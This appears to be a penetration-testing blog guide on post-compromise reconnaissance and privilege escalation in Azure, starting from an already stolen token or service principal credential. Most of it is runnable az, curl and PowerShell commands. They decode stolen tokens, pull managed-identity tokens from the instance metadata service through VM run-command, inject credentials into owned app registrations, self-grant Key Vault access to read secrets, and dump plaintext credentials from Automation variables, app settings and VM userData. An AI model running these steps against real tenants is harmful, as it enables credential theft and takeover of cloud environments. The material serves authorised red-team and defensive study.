jacobh.io
Azure Situational Awareness

Azure Situational Awareness

29 min read

Platform: azure

Updated

Purpose: a well maintained guide for answering the question “with the principal I have already compromised, how do I find the next step?”

The guide assumes you have at least one working token (or better SP creds). For getting to that point, see Initial Access (coming soon) or Token Collection.

Tip: For az rest, you can inject a bearer token by passing in: --headers "Authorization=Bearer $TOKEN" (if you only have a token)

Table of Contents

The Core Mindset


Two rules before anything else:

1. Always check both planes. Entra ID (Graph) and Azure ARM are independent permission models. A dead end on one is not a dead end on the other. A principal with no ARM RBAC role may have a Graph app permission that enable some movement.

2. Remember: A read permission shows you the target. A write permission is an attack. Microsoft.KeyVault/vaults/secrets/read gets you credentials. Microsoft.Authorization/roleAssignments/write makes you Owner.

When working through the steps below, complete the full picture before acting. A combination of findings often produces a better path than acting on the first one you see.

Establish Your Principal


Goal: Determine what type of identity you have

Before running any tools, understand what type of identity you have. Your token type determines which APIs are accessible, which commands will fail, and which attack paths are viable.

Token Type Decision Table

Token typeHow you got it/me works?ARM enumerationNotes
Delegated user tokenaz login, device code, phished refresh tokenYesYes, as the userMFA state and CA policy apply
App-only (SP) tokenclient_credentials flow, app secret/certNo - use SP object IDYes, if SP has ARM rolesCheck roles claim for app roles
Managed identity tokenIMDS from computeNo - use SP object IDYes, if MI has ARM rolesNo credential to steal; expires quickly
PRT / refresh tokenPhished, extracted from deviceDepends on flowDependsConvert to access token first

az ad signed-in-user show and az account list only work with delegated user tokens. For SP and MI tokens, decode oid from the JWT payload directly.

If any of the below doesn’t work, that’s okay. Your principal may have narrowly scoped permissions. We will handle that once we get to the automated tools.

Identity Questions

Lets get our UUID first to make this easier

# with az rest already authed - graph
export userid=$(az rest --method get --url "https://graph.microsoft.com/v1.0/me" | jq -r .id)

# decode if we've stolen a token
export userid=$(echo $TOKEN | cut -d'.' -f2 | base64 -d | jq -r '.oid')

Its also good to validate your token if you just have that

# graph
curl -s "https://graph.microsoft.com/v1.0/me" -H "Authorization: $GRAPH_TOKEN" | jq

# ARM (still good if it returns an empty list)
curl -s https://management.azure.com/tenants?api-version=2020-01-01 -H "Authorization: Bearer $ARM_TOKEN" | jq

User, service principal, or managed identity?

# CLI - check token context type
az account show --query "user.type"

# all token types - decode key claims from JWT payload
# idtyp: "user" or "app" | azpacr=0 → MI, 1/2 → SP | xms_mirid present → MI
# wids → active Entra directory roles (cross-ref Entra ID) | roles → Graph app roles for SP/MI | scp → delegated scopes
echo "<token>" | cut -d'.' -f2 | base64 -d | jq '{idtyp, azpacr, xms_mirid, oid, tid, upn, wids, roles, scp}'
(Get-AzContext).Account # check type

Cloud-only or synced from on-prem AD?

# curl - null = cloud-only, true = synced
curl -s -X GET "https://graph.microsoft.com/v1.0/users/$userid?\$select=onPremisesSyncEnabled" -H "Authorization: Bearer $GRAPH_TOKEN" | jq
# powershell
Connect-MgGraph
Get-MgUser -UserId $userid -Property onPremisesSyncEnabled | Select-Object onPremisesSyncEnabled

Is this a high-visibility account?

No single signal - combine three checks:

again, your principal might not have the permissions to list this stuff out. We will cover that in the tools sections. chill.

1 - Entra

# active entra directory roles
az rest --method GET --uri "https://graph.microsoft.com/v1.0/users/$userid/memberOf/microsoft.graph.directoryRole" | jq

# with curl
curl -s -H "Authorization: $GRAPH_TOKEN" -H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/users/$userid/memberOf/microsoft.graph.directoryRole" | jq

2 - ARM

# ARM role assignments across all subscriptions
az role assignment list --assignee $userid --all --output table

az resource list

No CLI? See Roles and Actions for the curl equivalent.

Powershell

Get-AzRoleAssignment -ObjectId $userid
Get-AzResource

Permissions: ARM operation - requires Microsoft.Authorization/roleAssignments/read at subscription scope (included in the built-in Reader role). A user with no ARM RBAC assignment receives 403.

Any account with active Entra directory roles or ARM Owner/Contributor at subscription scope is high-visibility by definition.

If you have code execution on a VM (or other compute) with no Azure credentials yet - check IMDS before anything else. A managed identity may already be attached:

curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Check Token Collection - From Compute for other IMDS endpoint depending on resource.

I think that will cover the majority of common circumstances.

Both Planes: Decode Your Token

The claims that matter here:

  • wids → active Entra directory role IDs - cross-reference the danger-tier table in Dangerous Entra ID Directory Roles
  • roles → Graph app roles for SP/MI tokens - cross-reference the app roles table in Dangerous Graph API App Roles
  • scp → delegated Graph scopes for user tokens

Both wids GUIDs and built-in role template IDs are static across all tenants.

Questions to ask

  • SP or MI token without Directory.Read.All or User.Read.All? → Skip AzureHound, go to Blind Permission Discovery
  • User token with limited visibility? → Try the automated tools, fall back to Blind Permission Discovery
  • Have a token, not sure what it can do? → Decode claims above, map wids/roles against the Entra ID tables

Entra ID


Automated Tools

Goal: Use automated tools to surface attack paths quickly before doing anything manually.

If your principal has sufficient read permissions, automated tools collapse hours of manual enumeration into minutes. Run these before manual checks - but only if your principal can support them.

OpSec: AzureHound makes thousands of Graph API calls in a short window. On sensitive engagements, skip it and use Blind Permission Discovery instead.

AzureHound → BloodHound

https://github.com/SpecterOps/AzureHound

Maps IAM relationships and attack paths graphically. After uploading results, run “Shortest Paths to High Value Targets” from your owned node.

Permissions: Requires Directory.Read.All or User.Read.All for full graph coverage. Without these, most edges will be absent and the graph is not useful. A standard member user token produces very limited results.

See Internal Recon - Framework Tools for AzureHound install and collection commands.

ROADtools / roadrecon

Full Entra ID snapshot into SQLite + web UI. Best for browsing app role assignments, group memberships, owned objects, and CA policies when you have a Graph token.

# use an aad token for roadtools.
export AAD_TOKEN=$(az account get-access-token --resource-type aad-graph | jq -r .accessToken)

roadrecon auth --access-token $AAD_TOKEN
roadrecon gather
# dump CAPS policies
roadrecon plugin policies
# start UI
roadrecon gui  # browse http://127.0.0.1:5000

Permissions: Works with any valid tenant user token. roadrecon uses the legacy AAD Graph API (graph.windows.net with api-version=1.61-internal), which exposes CA policies to all authenticated users regardless of role. No elevated permissions required for gather or plugin policies.

CAPSlock

Caps analysis engine based on the roadrecon database. Can help map which CAPS actually apply in a given situation. https://github.com/rbnroot/CAPSlock

capslock-web --port 8080 --host 127.0.0.1

Run this in the same directory as the roadrecon.db OR pass a path in with: --db <path>

Blind Permission Discovery

Goal: Discover actual permissions when automated tools fail, return 403, or aren’t viable for your principal type. These techniques surface actual permissions without requiring role-read access.

Minimal-Permission Graph Queries

These work with any valid Graph token regardless of directory permissions - principals can always read their own identity data:

export GRAPH_TOKEN="<graph-access-token>"

# your own profile
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/me" | jq

# all groups you belong to, including nested (transitive)
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/me/transitiveMemberOf" | jq

# your own graph app role assignments
fcurl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/me/appRoleAssignments" | jq

For SP/MI tokens - /me endpoints don’t work. Decode oid from the token and query the SP directly:

Below if when you are operating AS the principal.

SP_OBJ="<object id"

curl -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_OBJ/appRoleAssignments"

curl -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_OBJ/memberOf"

Resolve a roles claim GUID to a permission name:

GRAPH_SP=$(az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" \
  | jq -r '.value[0].id')

az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP/appRoles" \
  | jq '.value[] | {id, value, displayName}'

PIM eligible Entra roles - check separately from active assignments:

# active directory role memberships only appear in memberOf - eligible assignments need this:
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilityScheduleInstances?\$filter=principalId eq '$SP_OBJ'"

Permissions: Requires RoleEligibilitySchedule.Read.Directory or Directory.Read.All - not in default member permissions.

If that doesn’t work, you might not have the proper permissions. Try the graph beta endpoint.

az rest --method GET \
  --uri "https://graph.microsoft.com/beta/privilegedAccess/aadroles/roleAssignments?\$expand=linkedEligibleRoleAssignment,subject,roleDefinition(\$expand=resource)&\$filter=(subject/id eq '$userid') and (assignmentState eq 'Eligible')&\$count=true" | jq

Summary

ScenarioTechnique
Have a token, unsure what it hasDecode claims above; map wids/roles against the Entra ID tables
Low-privilege Graph token (user)/me/transitiveMemberOf, /me/appRoleAssignments
SP/MI token, can’t query /meDecode oid → query SP directly
Need PIM eligible Entra rolesroleEligibilityScheduleInstances (see above)

CloudPEASS

Attempts operations rather than reading role assignments. Catches things that role-list-based tools miss, including when read permissions are denied. Also decomposes custom role actions and flags dangerous configurations.

This is one should work no matter what permissions the principal has. It will output which permissions your principal has over which resources.

# also supports device code auth, run with no env vars and --tenant <tenant>
export AZURE_ARM_TOKEN=$(az account get-access-token --resource-type arm | jq -r .accessToken)
export AZURE_GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph | jq -r .accessToken)

python3 AzurePEAS.py --not-enumerate-m365 --out-json peas.json

Dangerous Entra ID Directory Roles

Goal: Check your Entra ID permissions for direct escalation paths .

Check active directory roles, PIM eligible roles, Graph API app role assignments (for SP/MI contexts), and custom Entra role actions. Each is a distinct layer - missing any one will leave attack paths invisible.

Note: /me/memberOf and /transitiveMemberOf only return active assignments. A principal with no active roles may have an eligible Global Admin assignment. Use the roleEligibilityScheduleInstances query from Blind Permission Discovery to check PIM eligible roles separately.

For enumeration commands beyond what’s here, see Internal Recon - Entra ID Directory Roles & PIM.

Template IDs are static across all tenants - use these to decode wids claim values.

RoleTemplate IDRiskWhat it enables
Global Administrator62e90394-69f5-4237-9190-012177145e10Tier 0Full tenant control. Can elevate to root-scope User Access Administrator on ARM.
Privileged Role Administratore8611ab8-c189-46e8-94e1-60213ab1f814Tier 0Assign any Entra role to any principal. Can also grant admin consent for any MS Graph or Azure AD Graph application permission. Chain: assign self GA → Tier 0.
Privileged Authentication Administrator7be44c8a-adaf-4e2a-84d6-ab2649e08a13Tier 0Reset MFA and password for any user, including other Global Admins.
Application Administrator9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3Tier 0Add credentials to any app or SP. Can grant delegated permissions and non-MS-Graph app permissions - but cannot consent MS Graph or Azure AD Graph application permissions (that requires Privileged Role Admin or GA). See chain below.
Cloud Application Administrator158c047a-c907-4556-b7ef-446551a6b5f7Tier 0Same as Application Admin except no App Proxy management.
Hybrid Identity Administrator8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2Tier 0Modify federation configuration. Chain: add federated domain with attacker cert → Golden SAML for any synced user.
Intune Administrator3a2c62db-5318-420d-8d74-23affee5d9d5Tier 0*Deploy scripts to Intune-managed devices. Can read LAPS passwords (deviceLocalCredentials/password/read) and BitLocker recovery keys for managed devices. Tier 0 only if Tier-0 workstations are Intune-managed.
User Administratorfe930be7-5e62-47db-91af-98c3a49a38b1HighReset passwords for non-admins and a defined subset of lower-privilege admin roles (Helpdesk Admin, Auth Admin, Password Admin, Directory Readers, etc.). Cannot reset GA, PRA, PAA, Security Admin, or members/owners of role-assignable groups.
Authentication Administratorc4e39bd9-1100-46d3-8c65-fb160da0071fHighReset passwords and MFA for non-admins. Can force MFA re-registration and revoke “remember MFA on this device.” Lower-tier version of Privileged Auth Admin.
Helpdesk Administrator729827e3-9c14-49f7-bb1b-9608f156bbb8HighPassword reset only on non-admin users - cannot manage MFA or other authentication methods (key distinction from Auth Admin).
Groups Administratorfdd7a751-b60b-444a-984c-02652fe8fa1cHighCreate, modify, delete groups and group settings. Add members to any non-role-assignable group - explicitly excluded from managing role-assignable groups.
Security Administrator194ae4cb-b126-40b2-bd5b-6091b380977dHighFull CRUD on Conditional Access policies (conditionalAccessPolicies). Can disable MFA requirements by modifying or creating policy exclusions.
Conditional Access Administratorb1be1c3e-b65d-4f19-8427-f6fa0d97feb9Medium-HighManage CA policies. Create exclusions for attacker accounts or apps.
Exchange Administrator29232cdf-9323-42fd-ade2-1d097af3e4deHighMailbox impersonation; create forwarding rules; exfiltrate credentials from email.

Note: Application Admin is Tier 0 via credential injection - not permission granting. The attack path is: find a service principal that already holds high-privilege MS Graph permissions (e.g. the Office 365 Exchange Online SP with Domain.ReadWrite.All pre-consented), add credentials to it, authenticate as that SP, then use its existing permissions to add a federated domain and forge SAML tokens. App Admin cannot itself grant MS Graph application permissions - that elevation step requires Privileged Role Admin or GA. See ARM to Entra - ADFS Server for the SAML forgery mechanics.

Dangerous Graph API App Roles (for SP / MI Contexts)

These are appRoleAssignment values - permissions granted to a SP or MI by an admin, not delegated by a user. The roles claim in the token contains the GUIDs.

App RoleRiskWhat it enables
RoleManagement.ReadWrite.DirectoryTier 0Assign any Entra directory role to any principal. Direct path to Global Admin.
AppRoleAssignment.ReadWrite.AllTier 0Grant any Graph app role to any SP - no admin approval workflow. Chain: grant self RoleManagement.ReadWrite.Directory → assign GA.
Application.ReadWrite.AllTier 0Add credentials to any app or SP. Modify app properties. Hijack high-privilege apps.
Domain.ReadWrite.AllTier 0Create and configure federated domains. Combined with Hybrid Identity Administrator: Golden SAML without on-prem ADFS.
Directory.ReadWrite.AllTier 0Write access to most directory objects (excluding delete). Can add self as owner of any app, then use that ownership to call addPassword - two-step credential injection path across registered apps.
User.ReadWrite.AllHighModify user properties, managers, and profile data. Does not include password reset - that requires UserAuthenticationMethod.ReadWrite.All, and even then protected/privileged users are blocked.
GroupMember.ReadWrite.AllHighAdd/remove members from any security group. Add self to groups with ARM RBAC assignments. Cannot modify role-assignable groups - those require RoleManagement.ReadWrite.Directory.
Policy.ReadWrite.ConditionalAccessHighCreate or modify CA policies. Disable MFA for specific users or apps. Create exclusions for attacker identity.
DeviceManagementConfiguration.ReadWrite.AllHighDeploy scripts to Intune-managed devices. Code execution on managed workstations and PAWs.

Note: AppRoleAssignment.ReadWrite.All is a little known escalation. A SP with only this permission can grant itself RoleManagement.ReadWrite.Directory with no admin approval, then assign itself or a controlled identity Global Administrator. This chain is not widely known and BloodHound doesn’t always surface it directly.

Dangerous Entra Custom Role Actions

When a principal holds a custom Entra role (visible in the wids claim as an unfamiliar GUID, or via role assignment query), inspect the role definition for these high-value permission strings. These are Entra-specific - separate from ARM permission actions.

Permission actionRiskEnables
microsoft.directory/applications/credentials/updateCriticalAdd credentials to any app registration
microsoft.directory/servicePrincipals/credentials/updateCriticalAdd credentials to any SP
microsoft.directory/roleAssignments/createCriticalAssign Entra directory roles
microsoft.directory/users/password/updateCriticalReset user passwords
microsoft.directory/groups/members/updateHighModify group memberships
microsoft.directory/oAuth2PermissionGrants/allProperties/allTasksCriticalGrant/revoke OAuth consent

Indirect Permissions

Goal: Find escalation paths through groups, owned objects, and scope inheritance - both planes.

Most escalation paths are indirect. You rarely need to directly hold Owner - more commonly you own something that holds Owner, or you’re in a group that holds it. Both planes have indirect paths.

Entra Indirect: Group Memberships

Groups can hold ARM RBAC roles and Entra directory roles. Your effective permissions include everything inherited from every group you belong to, including nested groups.

# get all groups (transitive - includes nested)
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/me/transitiveMemberOf" | jq '.value[] | {displayName, id}'

# for each group, check ARM role assignments held by groups
az role assignment list --all --query "[?principalType=='Group']" --output table  # requires ARM Reader

# check if any group is role-assignable (can hold entra directory roles)
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/groups?\$filter=isAssignableToRole eq true"

Dynamic groups - if a group’s membership rule uses an attribute you can set on your own account, you can self-enroll without needing groups/members/update:

# find dynamic groups
az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

# inspect the membership rule
az ad group show --group "<group-name>" --query "membershipRule"

# modify your own attribute to match (example: otherMails rule)
az rest --method PATCH \
  --uri "https://graph.microsoft.com/v1.0/users/<your-object-id>" \
  --headers "Content-Type=application/json" \
  --body '{"otherMails": ["match@value.net"]}'

Standard users can modify: givenName, surname, streetAddress, state, postalCode, country, telephoneNumber, mobile, otherMails. See Entra to ARM - Method 7 for the full attribute list by role.

Entra Indirect: Owned Objects

Ownership of an app, SP, or group gives you control over it without needing any other permission. This is the most commonly overlooked escalation surface.

# all objects you own in entra
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/me/ownedObjects" | jq '.value[] | {displayName, "@odata.type", id}'
If you own…You can…Attack
An App Registration with ARM rolesAdd credentials (no special permission needed - ownership is enough)Auth as that app’s SP → inherit its ARM/Entra permissions
A Service Principal with ARM rolesSame as aboveSame
A Security Group with ARM RBACAdd yourself as a memberInherit the group’s role assignments

Inject credentials into an app you own:

# --append avoids removing existing credentials
az ad app credential reset --id <app-id> --append

# authenticate as that SP
az login --service-principal -u <appId> --password <new-secret> --tenant <tenant-id>

See Entra to ARM - Method 4 for the full workflow.

Azure Resource Manager


Automated Tools

AzureHound → BloodHound

AzureHound collects ARM RBAC data in addition to Entra — subscription, resource group, and resource-level role assignments all feed into BloodHound edges. The edges that surface ARM paths (AZOwner, AZUserAccessAdministrator, AZExecuteCommand, AZManagedIdentity, AZKeyVaultKVContributor) require broad Reader access at subscription scope to populate. Without it, ARM edges will be absent from the graph.

Blind Permission Discovery

ARM Plane: Permissions API

Returns the list of ARM actions your identity is allowed to perform at a given scope. Does not require Microsoft.Authorization/roleAssignments/read. Works inside custom roles with opaque names.

Permissions: Despite being a “what can I do” discovery endpoint, this is still an ARM call. The caller must hold at least one ARM RBAC role at or above the target scope to get a non-403 response. A user with no ARM assignments is denied everywhere.

# what can I do at subscription scope?
az rest --method GET \
  --uri "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"

# what can I do in a specific resource group?
az rest --method GET \
  --uri "https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"

# what can I do on a specific resource?
az rest --method GET \
  --uri "https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.KeyVault/vaults/<vault>/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"

The response lists actions and dataActions directly. A custom role named “DataReader” with Microsoft.Authorization/roleAssignments/write in its actions will show that action here - the role name is irrelevant.

If ARM returns 403 everywhere: Your principal likely has no RBAC assignments visible at any scope, or no subscriptions are accessible. Options:

# try the management group hierarchy - may work with minimal perms
az rest --method POST \
  --uri "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
  --body '{"query": "ResourceContainers | where type == \"microsoft.management/managementgroups\" | project name, properties"}'

Above command just helps validate the token and provides some details about the env.

Permissions: Resource Graph query - requires at minimum ARM Reader on at least one subscription. Returns empty results or 403 with no ARM RBAC assignment.

If ARM is genuinely empty (frick), pivot entirely to the Entra plane (Entra ID). This is common for SP and MI principals whose role assignments live exclusively in Entra.

ARM Plane: Decode Custom Role Definitions

When you can read a role assignment but the role name is custom (meaningless), inspect its actual actions:

Permissions: All commands here are ARM operations - require Microsoft.Authorization/roleDefinitions/read and Microsoft.Authorization/roleAssignments/read (both included in Reader).

# list all custom roles defined in the subscription
az role definition list --custom-role-only --output table

# get the full permission set for a specific custom role
az rest --method GET \
  --uri "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.Authorization/roleDefinitions/<role-id>?api-version=2022-04-01" \
  | jq '.properties.permissions[] | {actions, notActions, dataActions}'

# find your assignment's role ID
az role assignment list --assignee <your-id> --all \
  | jq '.[] | {roleName: .roleDefinitionName, roleId: .roleDefinitionId, scope: .scope}'
  

# same as above with az rest
az rest --method GET \ --uri "https://management.azure.com/subscriptions/<subId>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=assignedTo('<objectId>')" \
    | jq '.value[] | {roleId: .properties.roleDefinitionId, scope: .properties.scope}'
    
    
# resolve role ID to name
az rest --method GET --uri "https://management.azure.com/subscriptions/<subId>/providers/Microsoft.Authorization/roleDefinitions/<roleDefId>?api-version=2022-04-01" | jq

Summary

ScenarioTechnique
403 on role assignment listARM Permissions API
Custom role with opaque nameInspect role definition actions
ARM returns 403 everywherePivot to Entra plane; try Resource Graph hierarchy query
Nothing else worksCloudPEASS (see below)

CloudPEASS

Attempts operations rather than reading role assignments. Catches things that role-list-based tools miss, including when read permissions are denied. Also decomposes custom role actions and flags dangerous configurations.

This is one should work no matter what permissions the principal has. It will output which permissions your principal has over which resources.

# also supports device code auth, run with no env vars and --tenant <tenant>
export AZURE_ARM_TOKEN=$(az account get-access-token --resource-type arm | jq -r .accessToken)
export AZURE_GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph | jq -r .accessToken)

python3 AzurePEAS.py --not-enumerate-m365 --out-json peas.json

Dangerous ARM Roles and Actions

Goal: Check your ARM permissions for direct escalation paths - roles, actions, and exploitation primitives.

Check active role assignments at all scopes (management group, subscription, resource group, resource), PIM eligible ARM roles, and the actions of any custom roles. For enumeration commands, see Internal Recon - ARM - RBAC & PIM.

Note: A role at / (root management group) is inherited by every subscription and resource in the tenant. A role at resource group scope with Microsoft.Authorization/roleAssignments/write enables escalation upward. The role name tells you nothing - inspect the actions.

Note: If ARM returns 403 everywhere, see the fallback guidance in Blind Permission Discovery and pivot to Entra ID checks.

PIM eligible ARM roles - check separately from active assignments:

az rest --method GET \
  --uri "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.Authorization/roleEligibilityScheduleInstances?api-version=2020-10-01&\$filter=principalId eq '<userId>'"

Permissions: ARM operation - requires at minimum Reader at subscription scope. Returns 403 with no ARM RBAC assignment.

If that doesn’t work, you might not have the proper permissions. Try the graph beta endpoint.

az rest --method GET   --uri "https://graph.microsoft.com/beta/privilegedAccess/aadroles/roleAssignments?\$expand=linkedEligibleRoleAssignment,subject,roleDefinition(\$expand=resource)&\$filter=(subject/id eq '$userid') and (assignmentState eq 'Eligible')&\$count=true" | jq
Role / ActionRiskWhat it enables
OwnerCriticalFull access + role assignment. Can assign any role to any principal at that scope.
User Access AdministratorCriticalRole assignment only. Same escalation capability as Owner.
ContributorHighCreate/modify/delete all resources. Code execution paths via VMs, Function Apps, Automation Accounts.
Microsoft.Authorization/roleAssignments/writeCriticalAssign any RBAC role at the current scope. Escalate from resource group → subscription → root.
Microsoft.Compute/virtualMachines/runCommand/actionCriticalExecute arbitrary commands on VM as SYSTEM/root. Chains to IMDS MI token extraction.
Microsoft.KeyVault/vaults/write (KV Contributor)CriticalModify Key Vault access policies. Self-grant data plane read on all secrets, keys, and certs.
Microsoft.KeyVault/vaults/secrets/readCriticalRead secret values directly. SP credentials, API keys, database passwords, signing certs.
Microsoft.Storage/storageAccounts/listKeys/actionCriticalExtract storage account keys. Full data plane access to all blobs, tables, queues.
Microsoft.ManagedIdentity/userAssignedIdentities/assign/actionCriticalAttach an existing user-assigned MI to any compute resource you control → inherit all of that MI’s permissions.
Microsoft.Automation/automationAccounts/jobs/writeHighCreate and run Automation runbooks. Executes as the Automation Account’s managed identity.
Microsoft.Web/sites/config/writeHighModify App Service/Function App config. Swap container image or inject env vars.
Microsoft.Compute/virtualMachines/writeHighModify VM properties. Can reassign managed identity to VM you control.
Microsoft.Resources/deployments/writeHighDeploy ARM templates. Template code executes with the deploying identity’s permissions.

Note: Key Vault Contributor is a known blind spot. The role grants management-plane access, not data-plane access - on paper, you can’t read secrets. But Microsoft.KeyVault/vaults/write (included in KV Contributor) lets you add yourself to the Key Vault’s access policy, granting yourself data-plane read. BloodHound surfaces this as the AZKeyVaultKVContributor edge. Most manual audits miss it.

Note: The set-policy command below only works on vaults using the access-policy permission model. For vaults with enableRbacAuthorization: true, grant yourself the “Key Vault Secrets User” role instead.

Key Vault Contributor → secrets:

# check which permission model the vault uses
az keyvault show --name <vault-name> --query "properties.enableRbacAuthorization"

# access-policy vault: add yourself to the access policy
az keyvault set-policy --name <vault-name> \
  --object-id <your-object-id> \
  --secret-permissions get list

# RBAC vault: assign yourself "key vault secrets user" at vault scope
az role assignment create \
  --role "Key Vault Secrets User" \
  --assignee <your-object-id> \
  --scope "/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.KeyVault/vaults/<vault-name>"

# read secrets (same for both models after access is granted)
az keyvault secret list --vault-name <vault-name>
az keyvault secret show --vault-name <vault-name> --name <secret-name>

Indirect Permissions

ARM Indirect: Role Scope Inheritance

ARM RBAC assignments at a parent scope are inherited by all children. A role at management group scope applies to every subscription and resource under it - check the full hierarchy, not just the subscription you’re operating in.

Permissions: All commands in this block are ARM operations - require at minimum Reader at management group or subscription scope.

# walk the management group hierarchy
az account management-group list --output table

# check assignments at a management group scope
az role assignment list \
  --scope "/providers/Microsoft.Management/managementGroups/<mg-id>" \
  --output table

# resource graph: all role assignments across all visible scopes
az rest --method POST \
  --uri "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
  --body '{"query": "authorizationresources | where type == \"microsoft.authorization/roleassignments\" | project properties.principalId, properties.roleDefinitionId, properties.scope"}'

ARM Indirect: Managed Identity Assignment

If you can write to a compute resource (Microsoft.Compute/virtualMachines/write, Microsoft.Web/sites/write, etc.), you can attach a user-assigned managed identity to it - then execute code on that resource and extract the MI’s token from IMDS, inheriting all of its ARM and Entra permissions.

# list available user-assigned MIs and check their roles
az identity list --output table                                    # requires Reader on managed identities
az role assignment list --assignee <mi-client-id> --all --output table  # requires ARM Reader

# attach a user-assigned MI to a VM you can write to
az vm identity assign \
  --resource-group <rg> \
  --name <vm> \
  --identities <mi-resource-id>
# requires: Microsoft.Compute/virtualMachines/write + Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

# execute on the VM and extract the MI token from IMDS
az vm run-command invoke \
  --resource-group <rg> \
  --name <vm> \
  --command-id RunShellScript \
  --scripts "curl -s -H 'Metadata:true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"
# requires: Microsoft.Compute/virtualMachines/runCommand/action

Resource Access

Goal: Extract credentials from ARM resources when no direct escalation path exists.

Permissions: All commands in this section require ARM RBAC access - minimum Reader on the target resource or resource group.

Key Vault routing: If you have KV Contributor or vaults/write - see Roles and Actions first (self-grant data plane access). If you already have data-plane secrets/read - use the commands below.

Priority order:

ResourceAccess neededWhat you extract
Key Vaultsecrets/read data planeSP secrets, API keys, DB passwords, signing certs
Automation AccountVariables REST (management plane)Plaintext credentials if variables are unencrypted
App Service / Function Appappsettings listSP client secrets, storage connection strings
VM UserData / CustomDatavm show (management plane)Provisioning scripts, embedded credentials
Storage AccountlistKeysFull data plane access: blobs, tables, queues
Automation Account runbooksRead runbook contentHardcoded credentials, job output with secrets
# automation account: read unencrypted variables
az rest --method GET \
  --uri "https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.Automation/automationAccounts/<account>/variables?api-version=2023-11-01" \
  | jq '.value[] | select(.properties.isEncrypted == false) | {name:.name, value:.properties.value}'

# app service: filter settings for credential patterns
az webapp config appsettings list --name <app> --resource-group <rg> \
  | jq '.[] | select(.name | test("SECRET|CLIENT|PASSWORD|TOKEN|KEY|CONN"; "i"))'

# VM: read userdata
az vm show --resource-group <rg> --name <vm> \
  --query "userData" --output tsv | base64 --decode

For managed identities attached to resources you can execute on: use runCommand or equivalent to call IMDS from inside the resource and collect the MI token, then check its permissions using the sections above. See Token Collection - From Compute.

CloudPEASS

Attempts operations rather than reading role assignments. Catches things that role-list-based tools miss, including when read permissions are denied. Also decomposes custom role actions and flags dangerous configurations.

This is one should work no matter what permissions the principal has. It will output which permissions your principal has over which resources.

# also supports device code auth, run with no env vars and --tenant <tenant>
export AZURE_ARM_TOKEN=$(az account get-access-token --resource-type arm | jq -r .accessToken)
export AZURE_GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph | jq -r .accessToken)

python3 AzurePEAS.py --not-enumerate-m365 --out-json peas.json

Attack Path Decision Matrix


Once you have a finding, consult the Azure Attack Path Matrix - a consolidated reference organized by severity tier (Tier 0 through Tier 2 and Hybrid) that maps every finding type to the attack it enables and the post that covers it.

The matrix covers:

  • Entra ID directory roles - danger tier, template ID, and what each enables
  • Graph API app roles - SP/MI app role assignments and exploitation chains
  • Azure ARM roles and permission actions - dangerous built-ins and custom role actions
  • Object and group control - owned apps, SP ownership, dynamic group membership rules
  • Resource access - Key Vault, Automation Accounts, App Service settings, VM UserData
  • Hybrid infrastructure - Connect Sync, Cloud Sync, PTA, ADFS, Hybrid-joined VMs, Seamless SSO

Hybrid Pivot Check


Goal: Detect hybrid identity infrastructure that may be reachable from ARM as normal VMs.

A quick checklist to run after the above sections if the tenant might be hybrid. If any of these return results, the relevant infrastructure is almost always reachable from ARM as normal VMs - see ARM to Entra Pivoting for the full attack chains.

# is hybrid sync configured?
# requires: OnPremDirectorySynchronization.Read.All or Directory.Read.All
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"

# are there cloud sync provisioning agents?
# requires: OnPremisesPublishingProfiles.ReadWrite.All or equivalent
az rest --method GET \
  --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents?\$expand=agentGroups"

# are there pass-through authentication agents?
# requires: OnPremisesPublishingProfiles.ReadWrite.All or equivalent
az rest --method GET \
  --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?\$expand=agents"

# is entra domain services deployed?
# requires: ARM Reader on at least one subscription
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" --body '{"query": "resources | where type == \"microsoft.aad/domainservices\""}'

Tools Reference


ToolPrimary use in this workflowInstall
